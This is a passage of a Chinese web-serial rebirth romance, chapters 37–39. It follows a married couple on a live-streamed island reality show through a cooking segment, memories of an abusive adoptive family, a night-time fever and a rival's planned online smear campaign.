虽然任世和秦暮云、章可久和崔允这两组,都有意少拿了正常食量的食材,但轮到第四组的宁则书和沈周的时候,台面上还是没剩什么了。 宁则书拨弄了下面前的红薯,说:“正好我不会做饭,就拿两个红薯水煮算了。” 沈周拿了剩下的一个小南瓜。 轮到纪天风和郑谷,他俩就剩下一个土豆和一把小葱了,就这量还多亏了前面几组手下留情。 食材挑选完毕,嘉宾们开始自行做饭,厨房用品和基础调料节目组都有提前备好,也把当前的房子改造成了方便嘉宾们同时开火炒菜的格局。 宁衣初双手放在衣服口袋里,没打算做点什么,甚至往厨房外走了:“你做饭,我出去了。” 贺适瑕颔首:“好,你休息会儿,做好了我叫你。” 贺适瑕出身好、在贺家又备受重视,贺家人不需要也不会让他负责做饭这类家务活,所以上辈子在这个节目上,到了做饭环节,贺适瑕其实也不怎么得心应手。 是后来宁衣初不在了,贺适瑕带着孩子搬出了贺家,也不再拍戏,和孩子单独住的那几年里,贺适瑕才慢慢掌握了厨艺。 这辈子,现在倒是正好用上了。 至于宁衣初,他也不会做饭,因为他完全受不了厨房的油烟。 宁家的条件,本来不用自家人亲自做饭,偶尔有谁下厨也是生活里的闲情逸致。 但在宁衣初十来岁、上初中的时候,宁家人曾想“培养”他做饭,要求他下厨,只许他吃他自己做的饭菜。 宁衣初没办法,只能尝试了几次,结果他的呼吸道太敏感,哪怕厨房里开了窗户通风、开了抽油烟机的最大功率,飘在空气里的那些油烟味还是会呛得宁衣初很难受,让他咳得停不下来、甚至喘不上气。 他想要只做清水煮菜,但宁家人只许他在饭点和厨房里的厨师一起做饭,厨师给宁家人做饭当然要动油盐酱醋和翻炒,宁衣初同处一室根本受不了。 没过多久,最严重的一次,宁衣初因为喘不上气直接晕厥了过去。 醒过来后,宁衣初还以为宁家人仍然不会放过他,顶多怕他真死在宁家的厨房里,可能会同意让他在厨师不用厨房的非正常饭点自己做饭。 但不知道是宁家人真被他晕厥过去吓到了、没想到错峰做饭这种“好主意”,还是什么其他原因,总之那次之后宁家人就没再让他继续给自己做饭了,又恢复了过去的用餐状态。 宁衣初只能当他们是定期折腾他一顿,在他身上找点乐子。 上辈子在这个节目上,宁衣初因为不想被人觉得没用、只会添麻烦,所以逞强待在厨房里,和那时同样也不怎么会做饭的贺适瑕一起研究菜谱。 但结果逞强也没逞到底,因为旁边其他人的油烟一起,他就忍不住开始咳嗽。 当时,贺适瑕听到他咳嗽、看到他难受的表情,才后知后觉反应过来他受不了做饭的环境,便让他出去休息。宁衣初实在咳得连话都说不出来,也就没再逞强拒绝,往外走了。 他走出门的时候,听到郑谷“心直口快”地爽朗笑道:“宁老师这怕不是装咳嗽,好逃避做饭,把活都丢给贺老师你吧?得亏了贺老师你脾气好啊,要换了我对象这样对我,我才不干……当然,我没对象啊,我可是单身呢,粉丝宝宝们可不要误会。” 贺适瑕解释了句:“他身体一直偏弱,受不了刺激的味道。” 宁衣初当时则尴尬得不行,想解释自己没有装,但又顾不过来,只能继续咳嗽着加快脚步走了出去。 这辈子,宁衣初当甩手掌柜,跳过前面的流程,直接要走出厨房。 只拿着一把小葱的郑谷看到了,还是说了话,但只敢哼哼唧唧地说:“偷懒都这么理直气壮……” 宁衣初听见了,回头对他笑:“羡慕啊?羡慕的话你问问陶锦还要不要你呗,跟我一样嫁入豪门,找个打不还手骂不还口的对象,怎么偷懒都行。” 郑谷被噎住了,不知道怎么回答,只能恨恨地揪了一把手里的小葱,把本来就可单独食用性不高的食材弄得彻底没法吃了。 【哈哈哈哈宁衣初也太会说话了,冷不丁这么一句没给我笑死】 【以后不混娱乐圈的说话就是硬气!】 【骂不还口算是见识过了,打不还手劳驾二位演示一下吧嘿嘿嘿】 宁衣初走到室外,在餐桌边坐下来。 太阳正准备落山,外面昏黄一片,宁衣初看着远处的日落,手肘撑在餐桌上,因为太无所事事,以至于不知不觉间竟然来了睡意,眼睛无意识地阖上了。 他趴在餐桌上,睡着了一会儿。 但睡得不太安稳,可能是下午一直在想画画的事,他甚至做了个并不让人愉快的梦,梦回了大三的下半学期。 那时他想要找个需要美术设计的公司岗位实习,但求职路十分不顺,于是在同学的提议下,他尝试着在网上接了画稿的约单,这样既能赚钱、继续打磨画技,也能攒一些除了课业之外更风格多样的作品。 他当时不知道自己的求职路上有宁家那块巨大的绊脚石,还想着或许是他投简历的公司对岗位要求比较高,既然他不想随便投简历,那就让自己的作品集更丰富一些,想必下次求职就会容易点了。 因为是网上的约稿兼职,宁家再神通广大,手也没法伸得那么神出鬼没,所以宁衣初起先是攒到了一些钱的。 随后,宁衣初才在宁家人的质问中,意识到他们居然会定期查他名下的账,包括各种支付软件的余额。只是以前宁家人没查出来问题,所以就没有让宁衣初知道,直到他们发现宁衣初有额外的入账,于是才揭露了出来。 就像宁衣初小时候的日记本一样……他的养父母早就开始翻他的东西,他们不觉得宁衣初有隐私这种权利,不过没发现异常时就若无其事,发现宁衣初居然敢有日记本了,就罚他跪到晕倒,把他的日记本烧了再“宽宏大量”地警告他以后不许再写。 发现他大学时期在网上兼职后,宁家人没收了他的“不当得利”,警告他不许再接这种上不了台面、显得宁家很苛刻小气的兼职——分明是正经的凭画画赚稿费,被宁家人数落得好像他是在网上搞擦边兼职。 不能有额外的收入后,宁衣初重新开了个匿名账号,发自己的日常练习,画点无偿的稿子,就算不能赚钱,但画不同风格和要求的稿子,的确对他的画技有磨练提升的效果,而且无偿稿更能大胆发挥,以后也同样能放进作品集嘛。 宁衣初一直试图让自己心态积极向上一点,一直觉得宁家人总不可能永远扣着他,虽然不知道他们怎么做到十几年如一日地盯着他戏耍且耍不腻的,但只要毕业工作了,他总能摆脱宁家的…… 直到毕业季找工作仍然万分不顺利,宁衣初总算意识到了其中只怕有宁家人的手笔,跟他们对峙了一番,得到了嘲讽、奚落和数双白眼。 那些目光穿透时光,如有实质地重现在宁衣初的梦境里,让他陡然醒了过来。 睁开眼的那一瞬,正好有夜风吹过,宁衣初忍不住发了发抖。 然后他看着已经暗下的夜色,才回过了神,想起来了今夕何夕和当下所在何地。 节目组在餐桌附近拉了线、安装了灯,让晚上这顿饭的用餐环境不至于太糟糕,但刚才宁衣初趴在餐桌上睡觉,节目组的工作人员见状怕吵醒了他,干脆就没开灯。 直到这会儿看到宁衣初醒了、坐直了身体,工作人员才把灯打开了。 上方突然落下了灯光,宁衣初下意识闭了闭眼,再睁开时,他神态已经恢复如常,看不出刚被噩梦惊醒的模样了。 又过了几分钟,贺适瑕就正好端着新鲜出炉的菜出来了。 他把盘子放到了宁衣初面前伸手就能够到的地方,轻声说:“还有两盘菜和米饭,你等我一下。” 宁衣初这才反应过来:“你要处理的食材是最多的,你都做好了,其他人怎么还没出来?” 贺适瑕笑了笑:“我厨艺比较娴熟,做得快。任、秦两位前辈,和Make女团那两位都还没做好饭菜,不过我刚才出来时看了眼,也都在收尾了。至于最后那两组食材少得能生啃的四人,Alien那三个有点怕跟你相处、反正没说要出来,宁则书原本想出来,但我怕他打扰你独处,所以问了点事,阻止了他出来碍你的眼。” 宁衣初挑了下眉,饶有兴致地重复:“问了点事?” 贺适瑕颔首:“我之前其实也想过很多次了,还是想不通宁家到底为什么这么多年要那么对你,就算他们全家反社会人格、觉得霸凌虐待一个孩子很好玩,那也没有十年如一日盯着你的道理。哪怕只是有人带头,其他人附和,那也至少有一个人确实在一直盯着你的一举一动,可怕之余,也确实让人困惑这个原因。” 宁衣初微微收敛了面上的兴致。 看到他的表情,贺适瑕顿了顿,才接着说:“所以我怀疑,会不会和你的身世有什么关系,当年宁家真的只是意外误认才把你带回去的吗?所以我刚才问了下宁则书,他不是宁家最受宠的小少爷吗,或许能从他那里得到一点线索。” 宁衣初歪了下头:“他怎么回答的?” 贺适瑕微微摇头:“他没回答,一副他也不知道的样子,然后就待在厨房那边深思熟虑凹造型了。我本意也主要是阻拦他出来打搅你,既然他老实了,看着也问不出来什么的样子,我就没再追问。” 听完了,宁衣初点了点头,总结道:“希望你问话过程中没把口水喷到炒菜的锅里。” 贺适瑕被噎了噎,旋即忍俊不禁:“还好,我应该不属喷泉……那我去端其他菜了,免得待会儿放凉了。” 宁衣初不动如山地坐在椅子上,半点没打算帮忙。 等贺适瑕把他们俩的饭菜都端出来了,其他几组嘉宾也陆续出来了。 已经把食材吃干抹净的宁则书和Alien那三个人,跟陪坐似的坐在餐桌边,看着另外六个人吃饭。 如果是面对正常的、一起录节目的嘉宾,这种情况下,任世和秦暮云、章可久和崔允难免要不好意思地问问没饭吃的几个人要不要一起吃。 但不论是恶名昭彰的Alien三人,还是给人的感觉古怪诡异的宁则书,都让任世秦暮云他们实在膈应,先前挑选食材时也已经谦让过了,现在着实不想再做戏了,索性都没开口,只是安安静静吃饭。 贺适瑕的厨艺,倒是让宁衣初有点意外——挺合他胃口的。 宁衣初喜欢吃清淡的,但又要有滋有味……这要求基本可以和“五彩斑斓的黑”媲美。 他吃了几口,然后想起来:“你跟你家那私房菜馆的厨师学的手艺?” 贺适瑕点了点头,见他情绪还不错,便放松下来,说道:“我学着自己做饭那会儿,琢磨了下你的喜好,就觉得那家私房菜的手艺或许你会喜欢……但以前没意识到应该带你去,我也不知道我以前到底在做些什么。如今还有机会带你去吃,甚至亲手做饭给你吃,是很幸运的事,阿宁。” 虽然宁衣初和贺适瑕都有点懒得遮掩,想到什么说什么,但前世今生这种事还是不方便公然说出来的,于是贺适瑕含糊其辞,反正宁衣初听得懂。 宁衣初听是听明白了,但只嫌弃地蹙眉:“你这话矫情得这些饭菜都被污染了。” 贺适瑕笑了笑:“那我不说话了,你接着吃。” 宁则书这时突然又开了口:“奇怪,贺六公子说得像早就打算跟小初共度一生似的,那如你所言,小初之前在我们宁家受尽苦楚的时候,贺六公子你在哪里呢?”—— 作者有话说:迟到了,抱歉抱歉 第38章 第 38 章 趁宁衣初生病,把他的黑…… 宁则书这番话, 摆明了就是还没放弃挑拨离间和惹是生非。 不过反正为难的是贺适瑕,宁衣初就好整以暇地看着。 贺适瑕注意到宁衣初的目光,对他笑笑, 回答得挺心平气和:“以前我疏忽失责, 所以现在活该被阿宁排斥嫌弃, 确实是因果报应。” 然后他目光一转,变得冷漠起来, 看着挑事的宁则书说:“但我和阿宁之间的事,跟宁小少爷无关, 你有空关心我们, 不如多想想你们宁家做过的事会有什么因果。” 宁则书耸了耸肩:“小初,贺六公子怎么也开始宣扬封建迷信了。” 宁衣初吃自己的饭, 谁也没搭理。 直播间的观众们听得更好奇了—— 【贺哥和嫂子之间好多故事的感觉……】 【阿宁啊,该大方的时候就要大方一点啊, 快点跟我们分享一下嘛】 【看来贺适瑕的手艺确实挺得宁衣初的心, 他吃得挺专注的】 【往好处想,贺哥你已经抓住了嫂子的胃,这就是成功的第一步】 【不过有点惊讶哎,贺影帝会做饭就很让人意外了, 没想到还做得这么像模像样】 别说观众们惊讶, 就连贺适瑕自己的亲妈都很惊讶。 贺维安原本没打算看贺适瑕和宁衣初这档节目的直播, 但耐不住节目第一天就声势浩大、影响甚广, 宁家人还马不停蹄亲自来找了她,希望她一起阻止宁衣初继续在节目上的“大放异彩”。 送走了宁绍仁和韩文华夫妻俩, 吃过晚饭后,贺维安索性也找到直播间看了看,正好看到贺适瑕端着菜从厨房走到室外。 她原本以为贺适瑕就是搭把手帮忙端个菜, 仔细一看才发现不对——那饭菜是贺适瑕自己亲手做的,独立完成的! 贺维安感觉自己发现了新大陆似的,有些迷惑地看向旁边一起在看节目的丈夫唐青山。 “他们俩现在说的私房菜馆是你名下那家吧?”贺维安问,“适瑕什么时候去学厨艺了?” 唐青山也一脸匪夷所思:“我没听说过这件事,适瑕他学做饭干什么……需要我问一下私房菜馆那边的人吗?” 贺维安摇了摇头:“既然你都不知道,那要么是适瑕叮嘱了人家不要说,要么是适瑕不方便说他在哪里学的,正好小初那么问了,他就那么顺势承认。不论是哪种情况,都没必要问。但适瑕他……是我们跟他沟通太少了吗,他如果以前就喜欢小初的话,为什么之前从来不说?” 唐青山沉默了下,然后轻声问:“是不是因为……我们一直表示希望他和宁则书订婚,他拒绝了宁家正儿八经的小少爷,如果再说喜欢小初这个不受宁家人待见的养子,怕对小初影响不好,尤其是如果我们还不同意的话,就更不好了,所以适瑕从前不说……” “适瑕做事没那么畏缩。”贺维安否定了唐青山的猜测,思索道,“倒比较像是他自己从前也没想清楚……罢了,他们爱怎么折腾怎么折腾吧,反正也管不动。” 贺维安说着,动手点了点屏幕上的宁则书,若有所思:“倒是宁家这个小少爷,在节目上的表现和过去见到时判若两人,让我实在很难不在意。以前太平盛世的时候感觉还没这么明显,但现在……宁家家风有问题吧,养出来的要么是蠢货,要么是疯子。” 说起蠢货,想到刚离开不久的宁绍仁和韩文华,唐青山说:“宁家人为什么会觉得叫停了这个节目,就能阻止小初了?之前他在宴会上那么肆无忌惮,都没给宁家人提个醒吗。” 贺维安拒绝了宁绍仁的“合作”邀请,一来是她觉得这么大阵仗、还要两家一起合作,就为了叫停一档节目,显得很可笑。 二来,看宁衣初先前不闹到最大不满意、不达目的不罢休的作派,这档直播节目不过是个正好递到了眼前的平台罢了,有这么个平台,宁衣初就正好用着,没了这个平台,难道他就没法上网、没法说话了? 只怕到时候他被惹得更急,闹得更厉害。 着急的是宁家,贺家瞎掺和什么,别说目前宁衣初还没怎么在节目直播里提起贺家人——自得其乐的贺适瑕,和已经被赶出贺家的贺如林都不算——就算宁衣初提了,那他打定主意要做的事,叫停一档节目有什么用。 贺维安看得很清楚,反正没打算跟着宁家人一起犯蠢。 “宁绍仁他们还觉得这个养子是只能任由他们欺凌的孩子。”贺维安看着直播间的画面说道,“这样搓磨出来长大的孩子,要么懦弱得毫无主见,要么就是小初这样了,抓住了机会后谁也别想再让他忍气吞声。” 唐青山也思索道:“我也不太明白,宁家有什么必要这么对待一个孩子,不过从他们过去对外的言论来看,倒是心知肚明这些欺凌见不得光,所以只对外宣扬狸猫太子和白眼狼那套言论。” 贺维安摇了摇头:“也难怪康宁在走下坡路,尤其是近几年。宁老爷子个人作风一言难尽,但从前在康宁当家作主的时候,还是经营得不错的,自打被宁绍仁这个长子接管了家业,就一年不如一年,虽然看起来仍然光鲜亮丽,但要是真那么有底气,宁家这几年也就不会总打跟别家联姻的主意了。” 说着,贺维安又想起来:“不过,我今天倒是明白过来一件事——原来贺如林从前这么得罪过小初,难怪他之前非要闹大,让贺定邦他们全都一起滚出贺家。” 看宁衣初这记仇程度,贺维安更不打算帮宁家了。 唐青山犹豫了下,开口时有些歉疚:“对不起,我给你添麻烦了,如果不是为了保我,你就不用浪费时间和宁绍仁他们那种你根本看不上的人来往。” “还有适瑕……说实话,其实看到现在适瑕是和他自己喜欢的人结的婚,不论到底是个什么情况吧,但他显然确实很喜欢小初,我觉得挺庆幸的,好歹没有真的耽误了适瑕一辈子,幸好他以前坚持不妥协和宁家订婚的事……” 贺维安皱眉:“又说这些做什么。你既然入赘了我们贺家,那就是我们贺家人,只要你没做对不起贺家的事,我自然要保你。” 唐青山还是很抱歉:“今天宁绍仁和韩文华夫妻俩,话里话外都又在拿我那事儿暗示你……” 贺维安闻言冷笑了声:“他们倒是敢想。所以我说他们真是愚不可及,同一件事威胁一次就够了,上次我都答应把适瑕的婚事作为交换了,是他们自己抓不住机会,如今还想用第二次,真当我贺维安好说话了。这点人情世故都不懂,能混到现在,也亏了祖上积累。放心吧,事到如今,他们也不敢把你那事宣扬开了,不然他们自己都脱不了干系。” 唐青山轻叹了声:“让你费心了。” …… 节目直播中—— 晚饭时间结束后,今天的录制安排到此也结束,嘉宾们可以各回住处了。导演体贴地让工作人员给发了五个手电筒,叮嘱嘉宾们回程路上小心看路。 因为住处方向各有差异,所以十个嘉宾很快分开了。 贺适瑕和宁衣初并肩走着,身边除了跟拍的工作人员之外,就是夜色浓重的荒郊野外。 宁衣初突然来了句:“这岛要是没人来录节目的话,很适合杀人藏尸。” 这话题来得太过突然,贺适瑕被噎了噎,然后试探着揣摩宁衣初的意思:“阿宁,你已经嫌弃我到了独处的时候都在想怎么不着痕迹弄死我的地步了吗?” 宁衣初挑了下眉:“好主意,回头我也去买个小岛,到时候带你去玩。” 贺适瑕忍俊不禁:“那就约好了,我们一起去没人打扰的地方散心,你不要食言。” 【高情商:一起去没人打扰的地方散心】 【低情商:带你去无人小岛把你埋那儿】 【哈哈哈哈哈小两口真的要这个乌漆麻黑的环境里谈论杀人藏尸的事吗】 【阿宁可以买小岛哎,有钱宁】 【是口嗨吧,反正他俩都在胡说八道。宁家又不可能给宁衣初那么多钱,宁衣初今年才毕业,这还没几个月呢,自己工作也攒不下来买小岛的钱吧】 【没事,贺哥家里不虐待他,他还工作这么多年了,他有钱,嫂子找贺哥要钱买小岛嘿嘿】 【无人荒岛哦,就你俩哦,可以为所欲为啦嘻嘻】 【这么无厘头的话题也能聊下去,还说你俩不是一对】 【那个,今天白天我看到有人讨论说贺适瑕应该是贺氏集团那个贺家出身,我就去查了下……之前都没人发现吗!贺氏集团几天前公示了一次重大股权变动,虽然重要信息打了码,但可以确定是原本持股百分之八的贺某将股份悉数赠予给了伴侣宁某……这就对上了啊!】 【我勒个去,真的假的?】 【那阿宁有买小岛的钱了嘿嘿】 【我靠,贺氏集团百分之八的股份,光听就是一个庞大的数字了……】 【好想把手伸进宁总贺总的钱包里暖一暖啊】 【这下没人说贺适瑕的深情是做戏了吧,谁拿自家那么多股份当礼物做戏啊,不了解的大致搜一下经济板块也能粗略知道贺氏股份的市值吧】 【可惜还是没能得到老婆的好脸色哈哈哈哈】 【可见钱果然买不来爱情……】 【但至少有正儿八经的名分嘛!都学学贺适瑕他自己,多积极乐观!】 虽然有手电筒,但夜间路还是不太好走,两人慢悠悠回到住处的红砖房时,时间快十点了。 宁衣初已经开始犯困,可能是今天经历的事情实在太多、耗费了不少精力的缘故,反正他现在只想拿衣服洗了澡然后快点睡觉。 贺适瑕则先把卧室里的镜头遮挡了起来——至于观众们的哀嚎挽留,那不在贺适瑕的考虑范围内。 这房子面积不大,但作为设计给游客居住的地方,便利性还是有的,比如浴室就在卧室里,出入方便。贺适瑕这么一遮,直播间的观众们今天晚上就没机会再看到他俩的人影了。 【既然看不到人了,那我就要根据时间地点开始造谣了】 【是的,我可以忽略掉贺影帝的地铺,假装他不用睡地板】 【眼睛被遮住之后感觉耳朵也听不清了是怎么回事】 【虽然戴眼镜的人会有这个症状但现在应该是因为他俩确实没说话】 【宁衣初刚才是准备拿衣服去洗澡吧,那贺适瑕肯定是怕老婆洗澡的时候晕倒所以已经追到浴室里去了,嗯!】 【好,我喜欢这款谣言!】 不过,事实可能出乎正在“造谣”的观众们的意料——因为贺适瑕真的跟到了浴室里。 当然,他保证不是为了耍流氓。 宁衣初刚才拿着睡衣走进了浴室,正在打量是要把换洗衣物放在哪里,所以还没来得及关门,但他接着就听到了轻微的关门声,回头一看,果然是贺适瑕。 宁衣初蹙眉:“你跟进来干嘛?” 贺适瑕就差举双手以示清白了:“外面说话不方便,镜头虽然被挡住了,但录音功能还在运转,所以我只好进来跟你说话,算是半件正经事?” 然后他没有停顿地直入正题:“宁则书今天的行径太古怪了,不论是从他突然空降来录节目,还是他的那些言行,都和上辈子你我这个时候的记忆截然不同,所以我在想……阿宁,有没有可能,他也是重生的?” 宁衣初眨了眨眼。 “虽然我也觉得这样说起来有点离谱,但由于宁则书的行为也过于离奇,所以我有这样的怀疑似乎不算很不合理?”贺适瑕语速缓下来,若有所思道,“如果他也是重生的,我担心影响你原本的安排。” 原书剧情里顺风顺水、长命百岁了的主角重生吗?宁衣初笑了下。 他回道:“我和你想法相反。我们两个都能重生,要是现在突然冒出来另一个重生的人,并不离谱。但我不觉得宁则书也是重生的。” 贺适瑕微微一顿,颔首道:“可以继续跟我说说你为什么是这个想法吗?” 宁衣初抱着衣服,靠在了洗手台上——这房子也不知道是为了贴合“红砖房”的主题还是只是单纯没来得及贴瓷砖,反正连浴室的墙壁四周都是粗糙的砖,唯有洗手台是陶瓷的,靠在上面不至于硌到。 然后他慢悠悠地对贺适瑕说道:“你和我上辈子死的时间不一样,但这辈子重生的时间点是一致的,那正常逻辑下,如果还有人重生,应该和我们的时间节点也是一样的。重生的人,不可能什么改变都不做出,而我们周围,在此之前也就我俩和上辈子不一样了。” “尤其是宁则书,如果他真的也是重生的人,那他之前这段时间不会什么都没有做,更不可能看着我搞事情却不露面。” “所以,虽然我也觉得他今天的行径很莫名其妙,跟鬼上身似的,但我觉得他没有重生。他之前不露面,应该是因为我突然大变,他在观摩情况,今天他会出现在这档节目上,我想是属于我们重生后的蝴蝶效应,他应该是即便还没搞清楚具体情况,也已经做出了应对举措,来这档节目的表现就是他的举措。” 虽然宁衣初也还没弄明白宁则书的目的,但他其实没觉得宁则书和上辈子有什么性格上的变化:“至于宁则书的性格,他私下里就是那么个人,现在只是改变了以往会在人前装模作样的行为方式而已,没性格大变。” 宁衣初重生后要报复,很多信息都来自于多了一世记忆的“先知”,所以贺适瑕想到宁则书可能也是重生的,就担心会影响到宁衣初的原定安排,于是才特意跟宁衣初提起这种猜测——当然,只要能和宁衣初多说说话,说什么话题都行。 刚才宁衣初愿意跟他详细解释,贺适瑕本来挺高兴的,但越听越高兴不起来了。 他半真半假地酸道:“阿宁,你对宁则书好像很了解。” 宁衣初唇角一扬:“你要是被按头对比了十几年,你也了解。” 贺适瑕这下回了神,什么真假醋都不敢吃了:“对不起,我说错话了……对了,阿宁,可以问一下,之前你是怎么在一开始就意识到我也重生了的吗?” 宁衣初还是奉还同样的说辞:“你要是被冤枉漠视过,你也能在一开始就发觉那个热情的人不对劲。” 贺适瑕狼狈地低下头:“抱……” “抱歉,对不起,是我的错,我上辈子不该那样对你……”宁衣初用絮絮叨叨的语气抢了话,然后嫌弃道,“我耳朵都要听出茧子了,你要是实在没别的说辞,要不下次换个语言说吧,好歹给我点新鲜感。” 贺适瑕只好把千篇一律、乏善可陈的话咽了回去,匆匆道:“我以后说话会注意的……阿宁,我先出去了,你洗澡吧。” 宁衣初歪了下头,故意道:“不一起洗吗,老公?” 贺适瑕被叫得差点平地绊了一跤,出去时的背影堪称落荒而逃,宁衣初这才觉得有意思了,笑出了声。 宁衣初洗了澡,才发现卫生间里没有电吹风,他顶着没干的头发走出来,让贺适瑕帮忙找找有没有吹风机。 但两个人把卧室里和外面都翻找过了,一无所获。 贺适瑕拿了干毛巾,小心问:“我帮你擦干?” 宁衣初洗澡之前就困了,现在更是只想倒头就睡,也懒得自己再动弹,便点了点头。 他坐在床边,贺适瑕站着,动作轻柔地帮他擦头发。 宁衣初昏昏欲睡了会儿,才反应过来:“你这力道,是打算帮我的头发自然干吗?” 贺适瑕顿了顿,也觉得自己蠢得慌,他抱歉地笑笑,然后加重了搓动毛巾的手劲儿。 【虽然看不见当下的情景但没关系我可以自己想象】 【这几句话可以剪辑一下开个车了嘿嘿】 【深夜话题就是不一样啊,一眼看过去没一个健康的】 【他俩这条件算好的了,只是没有吹风,要知道Alien那边连窗帘都没有哈哈哈哈哈】 【不想去看那边的直播间,但好奇他们没有窗帘是怎么办的,求告知!】 【他们把室内的灯全关掉了,刚好户外也是荒郊野岭没有灯,顶上树又比较多挡住了不少月光,再把屋内角度不恰当的镜头挡一挡,然后拿着手机开着直播确保没问题才敢进卫生间哈哈哈】 【茅草屋和海边别墅那边也挺麻烦,缺门少墙,虽然说在直播不怕有歹人吧,但毕竟是陌生地方还是都挺小心的,章可久和崔允一个用卫生间时,另一个就在门外守着,任世和秦暮云也是互相守门】 【话说回来,今天看下来,我觉得任世和秦暮云还挺和睦的啊,又很默契,完全没有要离婚的感觉哎……】 【国民夫妻离婚了得多少人伤心啊,唉】 【他们特意上节目,可能就是为了让关心的粉丝们看到他们确实是和平离婚的吧,免得以后被乱传。能好聚好散,关心他们的人多少也觉得没那么难堪。】 【宁则书那边鬼屋氛围太浓了,开着灯也和Alien那边关着灯差不多效果,直播镜头都默认进入夜视模式的哈哈哈哈】 【他今天还好意思主动跟宁衣初提小时候鬼屋的事,现在自己待在那个环境里,不知道能不能多少感同身受一点】 【哪有什么感同身受啊,大人和小孩子的承受能力、有心理准备且出入自由的主动选择和被迫囚禁,这里面区别可大了,何况只是说像鬼屋,又不是真的有恐怖音效和来找你“玩”的工作人员……】 虽然宁衣初和贺适瑕这边直播间画面一片黑,连声音都很少有,但观众们还是在弹幕里讨论得很起劲。 终于,观众们又听到了声音,是贺适瑕在对宁衣初说头发已经擦干了、他可以睡觉了。 宁衣初倦倦地点了下头,然后顺势躺下来,扯过被子就阖上了眼。 他这副困得现在被偷亲估计都懒得理的样子,让贺适瑕忍俊不禁。 当然,贺适瑕并没敢偷亲。 他放轻手脚,也拿了睡衣去浴室洗漱,关门之前先把卧室的大灯关掉了,免得光线太亮干扰到宁衣初安睡。 在浴室里收拾好,头发也弄干了之后,贺适瑕才出来,依旧轻手轻脚地绕过床尾,来到他的地铺跟前躺下了。 一想到旁边就躺着宁衣初——虽然有点高度差距,但确实同处一空间——贺适瑕就心旷神怡,睡着时唇角都带着不自觉的微笑。 直到夜半时分,贺适瑕突然被一阵压抑的咳嗽声惊醒,他骤然坐起身看向床上。 宁衣初蜷缩成了一团,正人事不省地咳喘着。 贺适瑕连忙起身开了灯,疾步回床前一看,都不用上手试温度了,因为宁衣初向来素白的脸此时红得惊人,摆明是发烧了。 贺适瑕拿过手机,直接拨打了导演的电话,告知了对方宁衣初发烧生病的情况,让节目组的随行医务赶紧过来。 一边跟导演陈述情况,一边听着宁衣初难受的咳嗽声,贺适瑕心疼又恼怒。 心疼是对宁衣初的,恼怒是对自己的。 贺适瑕恼怒于自己的粗心大意、没照顾好宁衣初,害他才来节目第一天就生病,上辈子都没这样,重来一世他居然更差劲了。 …… A市夏至娱乐公司内,因为顶头老板宁安夏的要求,公关部正在集体加班,致力于尽快打造一个能让宁衣初名声尽毁的完美方案。 有人负责时刻盯着宁衣初在节目上的动静,即便他睡着了也得盯。于是在很多人还没反应过来的时候,夏至娱乐公关部已经把宁衣初生病了的事转告给了宁安夏。 因为是派下去的紧急任务,所以宁安夏半梦半醒地忍耐着脾气接了电话,听完后整个人都清醒了过来。 她催促道:“趁他病要他命,你们抓紧,天亮之前就把那些黑料全给放出去,趁着宁衣初生病了根本没法反驳,把动静闹大点。他一生病就至少要睡一天,等他醒了舆论场都定论了,任他有花言巧语也不可能全身而退。” 接到这个命令的公关部经理为难道:“宁总,有必要这么着急吗……” 宁安夏不满:“怎么,你也同情起宁衣初了?” 公关部经理当即否认:“不不不,我作为宁总的员工,一定和宁总统一阵线。我是担心这样太赶,计划会出纰漏,比如现在我们很多营销号都还没来得及联系,赶天亮的话就更来不及了,回头营销号矩阵联动性跟不上,我怕影响效果……” 宁安夏冷笑:“你做公关的,还要我教不成,时机才是最重要的!按我说的去办!”—— 作者有话说:我明天一定恢复正常更新时间,绝不迟到了,磕头 第39章 第 39 章 狸猫充太子?(本章网友…… 因为是来基础建设不齐全的荒岛录制, 所以节目组反倒准备得格外充足,生怕万一中途嘉宾们出点意外来不及救治,于是医疗团队安排了一打的人, 带的药物和医疗器械塞了满满两个医疗车、才把医疗团队和车送到岛上。 这种嘉宾半夜生病的情况, 也在节目组考虑过的意外事件之中, 他们有紧急预案,所以接到贺适瑕的电话之后倒没有很慌张。 医护人员过来, 给宁衣初量了体温、检查了情况,然后给他打上了退烧的吊瓶。 “他还在咳嗽。”贺适瑕焦躁不安道。 医生点了点头:“不用担心, 应该是发烧导致的连锁症状, 退烧后会好些的,到时候我们再给宁老师开点止咳的药。” 医疗团队留下了一个人在这里照看, 也方便当下这瓶水输完之后换上新的,然后其他人就先行撤离了。 被安排留下来的那个医护人员原本是一起待在卧室里的, 但卧室里只有昏睡不醒的病人宁衣初, 和因为宁衣初的症状所以始终眉头紧锁、一言不发但颇有开口就要医闹架势的贺适瑕,而且关键的是卧室里没有其他坐的地方,外人待着颇有点怪异。 于是医护人员小声对贺适瑕说:“贺老师,那我去外面坐会儿, 宁老师这边如果有事的话就叫我。” 贺适瑕点了点头:“辛苦了。” 医护人员出去后, 贺适瑕坐在床边, 继续垂首看着宁衣初。 两个小时后, 医护人员进来帮宁衣初换了新的一瓶吊针,这时宁衣初的烧已经退下来了一些, 脸颊虽然还是红,但没有那么惊人了,而且也确实随着退烧渐渐不那么咳嗽了, 只时不时还低咳一声。 贺适瑕摸了摸他的脸,起身去卫生间拧了热毛巾,回来给宁衣初简单擦了擦脸和脖子。 宁衣初这次输液一共要打两瓶吊针,第二瓶也要见底时,外面天色开始亮了。 网上,这时有新的爆料被发了出来,一个海外IP、自称是宁衣初从小学到高中的同学的人出来说话—— 【我惊呆了,一个靠欺骗寻子心切的父母从而攀附上豪门,在人家亲生儿子回家后还死赖着不走,靠人家一家人心软过了十几年好日子的人,现在反过来说自己从小都在受虐待?白眼狼都比宁衣初有良心哈。 先发几张在校时期的照片,证明一下我的身份,我的确和宁衣初在小学、初中、高中时期都是同班同学,所以我可以说,我非常了解宁衣初这个人的事。 之前听说他结婚了,还是和大明星,虽然我不喜欢他这个人吧,但还是很好奇,今天正好有空就找节目回放看了下,因为我在国外有时差,所以比国内观众知道情况得慢了很多。 看之前我本来很想睡觉,但看完之后我整个人都被恶心清醒了,怎么能有这么不要脸这么颠倒黑白的人?! 正如我在这条帖子最前面说的,宁衣初才是那个从小就坏得吓人的,他本来是个孤儿,他的养父母因为自己的亲生儿子被偷走了所以一直在寻子,兜兜转转找到了年龄相仿的宁衣初身上,宁衣初就利用他们寻子心切这一点,骗他们相信了他是宁家的亲生孩子,然后被他的养父母带回了宁家。 